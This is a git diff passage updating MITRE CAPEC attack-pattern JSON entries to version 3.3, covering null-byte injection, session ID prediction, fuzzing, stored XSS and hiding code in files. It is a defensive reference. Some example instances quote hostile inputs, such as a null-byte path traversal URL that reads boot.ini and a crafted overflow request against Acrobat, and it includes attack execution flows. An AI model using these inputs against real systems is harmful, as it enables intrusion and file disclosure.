", "x_capec_likelihood_of_attack": "Low", "x_capec_prerequisites": [ "The targeted application must perform the desired activities on a file without checking whether the file is a symbolic link or not. The attacker must be able to predict the name of the file the target application is modifying and be able to create a new symbolic link where that file would appear." @@ -79,7 +86,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--7e2a629f-eb4d-4cc9-b086-42c7395b2c3e.json b/capec/attack-pattern/attack-pattern--7e2a629f-eb4d-4cc9-b086-42c7395b2c3e.json index 6ecfd556ca..acf8d5c0f0 100644 --- a/capec/attack-pattern/attack-pattern--7e2a629f-eb4d-4cc9-b086-42c7395b2c3e.json +++ b/capec/attack-pattern/attack-pattern--7e2a629f-eb4d-4cc9-b086-42c7395b2c3e.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--afbc6436-0fba-412a-9852-05137bd27725", + "id": "bundle--8e244877-1a0e-4ace-bc26-4e5f866d1317", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--7e2a629f-eb4d-4cc9-b086-42c7395b2c3e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Embedding NULL Bytes", "description": "An attacker embeds one or more null bytes in input to the target software. This attack relies on the usage of a null-valued byte as a string terminator in many environments. The goal is for certain components of the target software to stop processing the input when it encounters the null byte(s).", "external_references": [ @@ -100,10 +100,11 @@ ] }, "x_capec_example_instances": [ - "\n Directory Browsing\n Assume a Web application allows a user to access a set of reports. The path to the reports directory may be something like web/username/reports. If the username is supplied via a hidden field, an attacker could insert a bogus username such as ../../../../../WINDOWS. If the attacker needs to remove the trailing string /reports, then he can simply insert enough characters so the string is truncated. Alternatively the attacker might apply the postfix NULL character (%00) to determine whether this terminates the string.\n Different forms of NULL to think about include\n PATH%00PATH[0x00]PATH[alternate representation of NULL character]%00\n ", - "\n Exploitation of a buffer overflow vulnerability in the ActiveX component packaged with Adobe Systems Inc.'s Acrobat/Acrobat Reader allows remote attackers to execute arbitrary code.\n The problem specifically exists upon retrieving a link of the following form:\n GET /any_existing_dir/any_existing_pdf.pdf%00[long string] HTTP/1.1\n Where [long string] is a malicious crafted long string containing acceptable URI characters. The request must be made to a web server that truncates the request at the null byte (%00), otherwise an invalid file name is specified and a \"file not found\" page will be returned. Example web servers that truncate the requested URI include Microsoft IIS and Netscape Enterprise. Though the requested URI is truncated for the purposes of locating the file the long string is still passed to the Adobe ActiveX component responsible for rendering the page. This in turn triggers a buffer overflow within RTLHeapFree() allowing for an attacker to overwrite an arbitrary word in memory. The responsible instructions from RTLHeapFree() are shown here:\n 0x77F83AE5 MOV EAX,[EDI+8]0x77F83AE8 MOV ECX,[EDI+C]...0x77F83AED MOV [ECX],EAX\n The register EDI contains a pointer to a user-supplied string. The attacker therefore has control over both the ECX and EAX registers used in the shown MOV instruction.\n Successful exploitation allows remote attackers to utilize the arbitrary word overwrite to redirect the flow of control and eventually take control of the affected system. Code execution will occur under the context of the user that instantiated the vulnerable version of Adobe Acrobat.\n An attacker does not need to establish a malicious web site as exploitation can occur by adding malicious content to the end of any embedded link and referencing any Microsoft IIS or Netscape Enterprise web server. Clicking on a direct malicious link is also not required as it may be embedded within an IMAGE tag, an IFRAME or an auto-loading script.\n Successful exploitation requires that a payload be written such that certain areas of the input are URI acceptable. This includes initial injected instructions as well as certain overwritten addresses. This increases the complexity of successful exploitation. While not trivial, exploitation is definitely plausible [R.52.2].See also: CVE-2004-0629", + "\n Directory Browsing\n Assume a Web application allows a user to access a set of reports. The path to the reports directory may be something like web/username/reports. If the username is supplied via a hidden field, an attacker could insert a bogus username such as ../../../../../WINDOWS. If the attacker needs to remove the trailing string /reports, then they can simply insert enough characters so the string is truncated. Alternatively the attacker might apply the postfix NULL character (%00) to determine whether this terminates the string.\n Different forms of NULL to think about include\n PATH%00PATH[0x00]PATH[alternate representation of NULL character]%00\n ", + "\n Exploitation of a buffer overflow vulnerability in the ActiveX component packaged with Adobe Systems Inc.'s Acrobat/Acrobat Reader allows remote attackers to execute arbitrary code.\n The problem specifically exists upon retrieving a link of the following form:\n GET /any_existing_dir/any_existing_pdf.pdf%00[long string] HTTP/1.1\n Where [long string] is a malicious crafted long string containing acceptable URI characters. The request must be made to a web server that truncates the request at the null byte (%00), otherwise an invalid file name is specified and a \"file not found\" page will be returned. Example web servers that truncate the requested URI include Microsoft IIS and Netscape Enterprise. Though the requested URI is truncated for the purposes of locating the file the long string is still passed to the Adobe ActiveX component responsible for rendering the page. This in turn triggers a buffer overflow within RTLHeapFree() allowing for an attacker to overwrite an arbitrary word in memory. The responsible instructions from RTLHeapFree() are shown here:\n 0x77F83AE5 MOV EAX,[EDI+8]0x77F83AE8 MOV ECX,[EDI+C]...0x77F83AED MOV [ECX],EAX\n The register EDI contains a pointer to a user-supplied string. The attacker therefore has control over both the ECX and EAX registers used in the shown MOV instruction.\n Successful exploitation allows remote attackers to utilize the arbitrary word overwrite to redirect the flow of control and eventually take control of the affected system. Code execution will occur under the context of the user that instantiated the vulnerable version of Adobe Acrobat.\n An attacker does not need to establish a malicious web site as exploitation can occur by adding malicious content to the end of any embedded link and referencing any Microsoft IIS or Netscape Enterprise web server. Clicking on a direct malicious link is also not required as it may be embedded within an IMAGE tag, an IFRAME or an auto-loading script.\n Successful exploitation requires that a payload be written such that certain areas of the input are URI acceptable. This includes initial injected instructions as well as certain overwritten addresses. This increases the complexity of successful exploitation. While not trivial, exploitation is definitely plausible [REF-445].See also: CVE-2004-0629", "\n Consider the following PHP script:\n $whatever = addslashes($_REQUEST['whatever']);include(\"/path/to/program/\" . $whatever . \"/header.htm\");\n A malicious attacker might open the following URL, disclosing the boot.ini file:\n http://localhost/phpscript.php?whatever=../../../../boot.ini%00\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Identify a place in the program where user input may be used to escalate privileges by for instance accessing unauthorized file system resources through directory browsing.

  2. An attacker realizes that there is a postfix data that gets in the way of getting to the desired resources

Exploit

  1. An attacker then ads a postfix NULL terminator to the supplied input in order to \"swallow\" the postfixed data when the insertion is taking place. With the postfix data that got in the way of the attack gone, the doors are opened for accessing the desired resources.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The program does not properly handle postfix NULL terminators" @@ -114,7 +115,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--7ed74d19-ed2b-40c4-a63c-54367b2653c4.json b/capec/attack-pattern/attack-pattern--7ed74d19-ed2b-40c4-a63c-54367b2653c4.json index 934f086650..7298509334 100644 --- a/capec/attack-pattern/attack-pattern--7ed74d19-ed2b-40c4-a63c-54367b2653c4.json +++ b/capec/attack-pattern/attack-pattern--7ed74d19-ed2b-40c4-a63c-54367b2653c4.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--adbde5bb-e5b2-4497-bc76-5a7198365535", + "id": "bundle--42ce6050-1edc-4e41-8847-b3dd6b8caaed", "spec_version": "2.0", "objects": [ { @@ -30,7 +30,7 @@ "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--7ee89c1f-50a5-42e6-abdb-6d8ba0349810.json b/capec/attack-pattern/attack-pattern--7ee89c1f-50a5-42e6-abdb-6d8ba0349810.json index 6db0513a39..0f97cc491d 100644 --- a/capec/attack-pattern/attack-pattern--7ee89c1f-50a5-42e6-abdb-6d8ba0349810.json +++ b/capec/attack-pattern/attack-pattern--7ee89c1f-50a5-42e6-abdb-6d8ba0349810.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--8824f683-f65e-45ed-9dea-65f1daba2134", + "id": "bundle--9614c3eb-7397-4190-8ddf-9a69f66b0f44", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--7ee89c1f-50a5-42e6-abdb-6d8ba0349810", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-08-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Session Credential Falsification through Prediction", "description": "This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.", "external_references": [ @@ -102,6 +102,7 @@ "Jetty before 4.2.27, 5.1 before 5.1.12, 6.0 before 6.0.2, and 6.1 before 6.1.0pre3 generates predictable session identifiers using java.util.random, which makes it easier for remote attackers to guess a session identifier through brute force attacks, bypass authentication requirements, and possibly conduct cross-site request forgery attacks. See also: CVE-2006-6969", "mod_usertrack in Apache 1.3.11 through 1.3.20 generates session ID's using predictable information including host IP address, system time and server process ID, which allows local users to obtain session ID's and bypass authentication when these session ID's are used for authentication. See also: CVE-2001-1534" ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Find Session IDs: The attacker interacts with the target host and finds that session IDs are used to authenticate users.

    2. Techniques
    An attacker makes many anonymous connections and records the session IDs assigned.
    An attacker makes authorized connections and records the session tokens or credentials issued.

  2. Characterize IDs: The attacker studies the characteristics of the session ID (size, format, etc.). As a results the attacker finds that legitimate session IDs are predictable.

    3. Techniques
    Cryptanalysis. The attacker uses cryptanalysis to determine if the session IDs contain any cryptographic protections.
    Pattern tests. The attacker looks for patterns (odd/even, repetition, multiples, or other arithmetic relationships) between IDs
    Comparison against time. The attacker plots or compares the issued IDs to the time they were issued to check for correlation.

Experiment

  1. Match issued IDs: The attacker brute forces different values of session ID and manages to predict a valid session ID.

    2. Techniques
    The attacker models the session ID algorithm enough to produce a compatible session IDs, or just one match.

Exploit

  1. Use matched Session ID: The attacker uses the falsified session ID to access the target system.

    2. Techniques
    The attacker loads the session ID into their web browser and browses to restricted data or functionality.
    The attacker loads the session ID into their network communications and impersonates a legitimate user to gain access to data or functionality.
", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "The target host uses session IDs to keep track of the users.", @@ -114,7 +115,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--7f0ec88f-b057-4a73-93d8-8a30cfdbcf77.json b/capec/attack-pattern/attack-pattern--7f0ec88f-b057-4a73-93d8-8a30cfdbcf77.json index 27ea343d41..44a8c25302 100644 --- a/capec/attack-pattern/attack-pattern--7f0ec88f-b057-4a73-93d8-8a30cfdbcf77.json +++ b/capec/attack-pattern/attack-pattern--7f0ec88f-b057-4a73-93d8-8a30cfdbcf77.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--c897d187-fd6e-420d-80b8-391753a47de9", + "id": "bundle--b8e04792-f3f6-45bd-9612-6a353bb746d1", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--7f0ec88f-b057-4a73-93d8-8a30cfdbcf77", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-01-09T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Fuzzing", - "description": "In this attack pattern, the adversary leverages fuzzing to try to identify weaknesses in the system. Fuzzing is a software security and functionality testing method that feeds randomly constructed input to the system and looks for an indication that a failure in response to that input has occurred. Fuzzing treats the system as a black box and is totally free from any preconceptions or assumptions about the system. Fuzzing can help an attacker discover certain assumptions made about user input in the system. Fuzzing gives an attacker a quick way of potentially uncovering some of these assumptions despite not necessarily knowing anything about the internals of the system. These assumptions can then be turned against the system by specially crafting user input that may allow an attacker to achieve his goals.", + "description": "In this attack pattern, the adversary leverages fuzzing to try to identify weaknesses in the system. Fuzzing is a software security and functionality testing method that feeds randomly constructed input to the system and looks for an indication that a failure in response to that input has occurred. Fuzzing treats the system as a black box and is totally free from any preconceptions or assumptions about the system. Fuzzing can help an attacker discover certain assumptions made about user input in the system. Fuzzing gives an attacker a quick way of potentially uncovering some of these assumptions despite not necessarily knowing anything about the internals of the system. These assumptions can then be turned against the system by specially crafting user input that may allow an attacker to achieve their goals.", "external_references": [ { "source_name": "capec", @@ -61,6 +61,7 @@ "x_capec_example_instances": [ "A fuzz test reveals that when data length for a particular field exceeds certain length, the input validation filter fails and lets the user data in unfiltered. This provides an attacker with an injection vector to deliver the malicious payload into the system." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Observe communication and inputs: The fuzzing attacker observes the target system looking for inputs and communications between modules, subsystems, or systems.

    2. Techniques
    Network sniffing. Using a network sniffer such as wireshark, the attacker observes communications into and out of the target system.
    Monitor API execution. Using a tool such as ktrace, strace, APISpy, or another debugging tool, the attacker observes the system calls and API calls that are made by the target system, and the nature of their parameters.
    Observe inputs using web inspection tools (OWASP's WebScarab, Paros, TamperData, TamperIE, etc.)

Experiment

  1. Generate fuzzed inputs: Given a fuzzing tool, a target input or protocol, and limits on time, complexity, and input variety, generate a list of inputs to try. Although fuzzing is random, it is not exhaustive. Parameters like length, composition, and how many variations to try are important to get the most cost-effective impact from the fuzzer.

    2. Techniques
    Boundary cases. Generate fuzz inputs that attack boundary cases of protocol fields, inputs, or other communications limits. Examples include 0xff and 0x00 for single-byte inputs. In binary situations, approach each bit of an individual field with on and off (e.g., 0x80).
    Attempt arguments to system calls or APIs. The variations include payloads that, if they were successful, could lead to a compromise on the system.

  2. Observe the outcome: Observe the outputs to the inputs fed into the system by fuzzers and see if anything interesting happens. If failure occurs, determine why that happened. Figure out the underlying assumption that was invalidated by the input.

Exploit

  1. Craft exploit payloads: Put specially crafted input into the system that leverages the weakness identified through fuzzing and allows to achieve the goals of the attacker. Fuzzers often reveal ways to slip through the input validation filters and introduce unwanted data into the system.

    2. Techniques
    Identify and embed shell code for the target system.
    Embed higher level attack commands in the payload. (e.g., SQL, PHP, server-side includes, etc.)
    Induce denial of service by exploiting resource leaks or bad error handling.
", "x_capec_likelihood_of_attack": "High", "x_capec_resources_required": [ "Fuzzing tools." @@ -70,7 +71,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--7f0f7de2-bf09-4f60-86bb-6933192b7128.json b/capec/attack-pattern/attack-pattern--7f0f7de2-bf09-4f60-86bb-6933192b7128.json index 5ce3d29c99..2084075638 100644 --- a/capec/attack-pattern/attack-pattern--7f0f7de2-bf09-4f60-86bb-6933192b7128.json +++ b/capec/attack-pattern/attack-pattern--7f0f7de2-bf09-4f60-86bb-6933192b7128.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--79916eea-bc40-465a-9168-2df311b84539", + "id": "bundle--049df005-303d-4458-b19e-63226430639a", "spec_version": "2.0", "objects": [ { @@ -44,7 +44,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--7f2c0e10-0afe-4edf-bb23-43d6f29ec932.json b/capec/attack-pattern/attack-pattern--7f2c0e10-0afe-4edf-bb23-43d6f29ec932.json index 78380c1b74..627a21302c 100644 --- a/capec/attack-pattern/attack-pattern--7f2c0e10-0afe-4edf-bb23-43d6f29ec932.json +++ b/capec/attack-pattern/attack-pattern--7f2c0e10-0afe-4edf-bb23-43d6f29ec932.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--08502b3c-57e8-4a2e-8573-b76ae409ded9", + "id": "bundle--d3250a0b-44e0-4a94-8c3d-dcc616322b8b", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--7f2c0e10-0afe-4edf-bb23-43d6f29ec932", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-05-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Hiding Malicious Data or Code within Files", "description": "Files on various operating systems can have a complex format which allows for the storage of other data, in addition to its contents. Often this is metadata about the file, such as a cached thumbnail for an image file. Unless utilities are invoked in a particular way, this data is not visible during the normal use of the file. It is possible for an attacker to store malicious data or code using these facilities, which would be difficult to discover.", "external_references": [ @@ -17,6 +17,24 @@ "url": "https://capec.mitre.org/data/definitions/636.html", "external_id": "CAPEC-636" }, + { + "source_name": "ATTACK", + "description": "Obfuscated Files or Information:Steganography", + "url": "https://attack.mitre.org/wiki/Technique/T1027/003", + "external_id": "T1027.003" + }, + { + "source_name": "ATTACK", + "description": "Signed Binary Proxy Execution:Compiled HTML File", + "url": "https://attack.mitre.org/wiki/Technique/T1218/001", + "external_id": "T1218.001" + }, + { + "source_name": "ATTACK", + "description": "XSL Script Processing", + "url": "https://attack.mitre.org/wiki/Technique/T1220", + "external_id": "T1220" + }, { "source_name": "reference_from_CAPEC", "description": "Means, Ryan L., Alternate Data Streams: Out of the Shadows and into the Light, SANS Institute", @@ -33,7 +51,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--7fb3fea4-e993-49f7-8c36-d58dd5038ad8.json b/capec/attack-pattern/attack-pattern--7fb3fea4-e993-49f7-8c36-d58dd5038ad8.json index 2028f2843e..7698e10ccf 100644 --- a/capec/attack-pattern/attack-pattern--7fb3fea4-e993-49f7-8c36-d58dd5038ad8.json +++ b/capec/attack-pattern/attack-pattern--7fb3fea4-e993-49f7-8c36-d58dd5038ad8.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--cee7194c-8826-4d2d-a983-bf6caf05d052", + "id": "bundle--fd8d33eb-78ef-46ac-9a4f-95a5a3df2beb", "spec_version": "2.0", "objects": [ { @@ -48,7 +48,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--7fd3928c-accb-4a35-ba64-000339399ede.json b/capec/attack-pattern/attack-pattern--7fd3928c-accb-4a35-ba64-000339399ede.json index c18963d96f..20f58d766c 100644 --- a/capec/attack-pattern/attack-pattern--7fd3928c-accb-4a35-ba64-000339399ede.json +++ b/capec/attack-pattern/attack-pattern--7fd3928c-accb-4a35-ba64-000339399ede.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--8db7712c-0371-4540-8ee8-7940f19df71c", + "id": "bundle--8f63bd2b-fe7e-4075-be56-3e6e80fd3177", "spec_version": "2.0", "objects": [ { @@ -16,6 +16,12 @@ "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/440.html", "external_id": "CAPEC-440" + }, + { + "source_name": "ATTACK", + "description": "Hardware Additions", + "url": "https://attack.mitre.org/wiki/Technique/T1200", + "external_id": "T1200" } ], "object_marking_refs": [ @@ -33,7 +39,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--7fea6e82-183a-4811-9b71-1ebe4d6c8b11.json b/capec/attack-pattern/attack-pattern--7fea6e82-183a-4811-9b71-1ebe4d6c8b11.json index 79a491f91b..107ed8a441 100644 --- a/capec/attack-pattern/attack-pattern--7fea6e82-183a-4811-9b71-1ebe4d6c8b11.json +++ b/capec/attack-pattern/attack-pattern--7fea6e82-183a-4811-9b71-1ebe4d6c8b11.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--8b84aeb1-f032-4410-94a7-432df7b96126", + "id": "bundle--3efd10c9-6be7-4dbd-9db9-141d9c681ec2", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--7fea6e82-183a-4811-9b71-1ebe4d6c8b11", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Screen Temporary Files for Sensitive Information", "description": "An adversary exploits the temporary, insecure storage of information by monitoring the content of files used to store temp data during an application's routine execution flow. Many applications use temporary files to accelerate processing or to provide records of state across multiple executions of the application. Sometimes, however, these temporary files may end up storing sensitive information. By screening an application's temporary files, an adversary might be able to discover such sensitive information. For example, web browsers often cache content to accelerate subsequent lookups. If the content contains sensitive information then the adversary could recover this from the web cache.", "external_references": [ @@ -36,7 +36,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--800f8095-99b6-4bb9-8bc6-8b9727201a2f.json b/capec/attack-pattern/attack-pattern--800f8095-99b6-4bb9-8bc6-8b9727201a2f.json index aab76501a8..fecfce3088 100644 --- a/capec/attack-pattern/attack-pattern--800f8095-99b6-4bb9-8bc6-8b9727201a2f.json +++ b/capec/attack-pattern/attack-pattern--800f8095-99b6-4bb9-8bc6-8b9727201a2f.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--fa5cf194-e929-4af3-b6d1-f149016d14b3", + "id": "bundle--3e5e574d-623b-4b19-8e27-e6dff3b4d78f", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--800f8095-99b6-4bb9-8bc6-8b9727201a2f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2017-04-15T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Stored XSS", "description": "This type of attack is a form of Cross-site Scripting (XSS) where a malicious script is persistenly \"stored\" within the data storage of a vulnerable web application. Initially presented by an adversary to the vulnerable web application, the malicious script is incorrectly considered valid input and is not properly encoded by the web application. A victim is then convinced to use the web application in a way that creates a response that includes the malicious script. This response is subsequently sent to the victim and the malicious script is executed by the victim's browser. To launch a successful Stored XSS attack, an adversary looks for places where stored input data is used in the generation of a response. This often involves elements that are not expected to host scripts such as image tags (), or the addition of event attibutes such as onload and onmouseover. These elements are often not subject to the same input validation, output encoding, and other content filtering and checking routines.", "external_references": [ @@ -49,7 +49,7 @@ }, "x_capec_example_instances": [ "An adversary determines that a system uses a web based interface for administration. The adversary creates a new user record and supplies a malicious script in the user name field. The user name field is not validated by the system and a new log entry is created detailing the creation of the new user. Later, an administrator reviews the log in the administrative console. When the administrator comes across the new user entry, the browser sees a script and executes it, stealing the administrator's authentication cookie and forwarding it to the adversary. An adversary then uses the received authentication cookie to log in to the system as an administrator, provided that the administrator console can be accessed remotely.", - "An online discussion forum allows its members to post HTML-enabled messages, which can also include image tags. An adversary embeds JavaScript in the image tags of his message. The adversary then sends the victim an email advertising free goods and provides a link to the form for how to collect. When the victim visits the forum and reads the message, the malicious script is executed within the victim's browser." + "An online discussion forum allows its members to post HTML-enabled messages, which can also include image tags. An adversary embeds JavaScript in the image tags of their message. The adversary then sends the victim an email advertising free goods and provides a link to the form for how to collect. When the victim visits the forum and reads the message, the malicious script is executed within the victim's browser." ], "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ @@ -65,7 +65,7 @@ }, "x_capec_status": "Stable", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--80604cc1-88b5-4e55-846e-01cfc67966b2.json b/capec/attack-pattern/attack-pattern--80604cc1-88b5-4e55-846e-01cfc67966b2.json index b12576a360..8506b40467 100644 --- a/capec/attack-pattern/attack-pattern--80604cc1-88b5-4e55-846e-01cfc67966b2.json +++ b/capec/attack-pattern/attack-pattern--80604cc1-88b5-4e55-846e-01cfc67966b2.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--5b4230e4-ebee-43ed-ad58-82ad92e17151", + "id": "bundle--8b3d38d8-a6ca-477e-a1c0-9ef2e9559267", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--80604cc1-88b5-4e55-846e-01cfc67966b2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Add Malicious File to Shared Webroot", "description": "An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.", "external_references": [ @@ -28,7 +28,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--807e5b36-9da9-4be8-9f6e-5d8c7258cff5.json b/capec/attack-pattern/attack-pattern--807e5b36-9da9-4be8-9f6e-5d8c7258cff5.json index 713c738047..2bfd5eebd2 100644 --- a/capec/attack-pattern/attack-pattern--807e5b36-9da9-4be8-9f6e-5d8c7258cff5.json +++ b/capec/attack-pattern/attack-pattern--807e5b36-9da9-4be8-9f6e-5d8c7258cff5.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--be855149-aed0-4783-a5f8-021205850f21", + "id": "bundle--09bcfa50-d657-4e5e-828f-a33685ab8b9a", "spec_version": "2.0", "objects": [ { @@ -50,6 +50,7 @@ "x_capec_example_instances": [ "A web-based system uses a third party cryptographic random number generation library that derives entropy from machine's hardware. This library is used in generation of user session ids used by the application. If the library is inaccessible, the application instead uses a software based weak pseudo random number generation library. An attacker of the system blocks access of the application to the third party cryptographic random number generation library (by renaming it). The application in turn uses the weak pseudo random number generation library to generate session ids that are predictable. An attacker then leverages this weakness to guess a session id of another user to perform a horizontal elevation of privilege escalation and gain access to another user's account." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine what external libraries the application accesses.

Experiment

  1. Block access to the external libraries accessed by the application.

  2. Monitor the behavior of the system to see if it goes into an insecure/inconsistent state.

  3. If the system does go into an insecure/inconsistent state, leverage that to obtain information about the system functionality or data, elevate access control, etc. The rest of this attack will depend on the context and the desired goal.

", "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ "An application requires access to external libraries.", @@ -60,7 +61,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--80e3e5dc-fc3c-46d0-910a-4aa1d9a5f18a.json b/capec/attack-pattern/attack-pattern--80e3e5dc-fc3c-46d0-910a-4aa1d9a5f18a.json index d53a76f32c..04920211f9 100644 --- a/capec/attack-pattern/attack-pattern--80e3e5dc-fc3c-46d0-910a-4aa1d9a5f18a.json +++ b/capec/attack-pattern/attack-pattern--80e3e5dc-fc3c-46d0-910a-4aa1d9a5f18a.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--e63f2df5-23f5-46d0-9dd0-5d3c2cf23c38", + "id": "bundle--04712277-6f52-4e01-a34b-448c18f4668f", "spec_version": "2.0", "objects": [ { @@ -74,7 +74,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--80f16e35-c7c1-445d-8f12-a77bbbce6bcf.json b/capec/attack-pattern/attack-pattern--80f16e35-c7c1-445d-8f12-a77bbbce6bcf.json index a0cc41335e..8c63c66a5e 100644 --- a/capec/attack-pattern/attack-pattern--80f16e35-c7c1-445d-8f12-a77bbbce6bcf.json +++ b/capec/attack-pattern/attack-pattern--80f16e35-c7c1-445d-8f12-a77bbbce6bcf.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--51695de9-578d-46a6-b67c-308869efc9f1", + "id": "bundle--2e5fa50e-f4f6-4a35-b5d1-e62db7677bc2", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--80f16e35-c7c1-445d-8f12-a77bbbce6bcf", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "DEPRECATED: Signature-Based Avoidance", - "description": "This CAPEC has been deprecated because of is not directly related to a weakness, social engineering, supply chains, or a physical-based attack.", + "description": "This CAPEC has been deprecated because it is not directly related to a weakness, social engineering, supply chains, or a physical-based attack.", "external_references": [ { "source_name": "capec", @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--828be1c0-0437-40de-ae41-05e75c8b522c.json b/capec/attack-pattern/attack-pattern--828be1c0-0437-40de-ae41-05e75c8b522c.json index 4ad2111d49..836f04474d 100644 --- a/capec/attack-pattern/attack-pattern--828be1c0-0437-40de-ae41-05e75c8b522c.json +++ 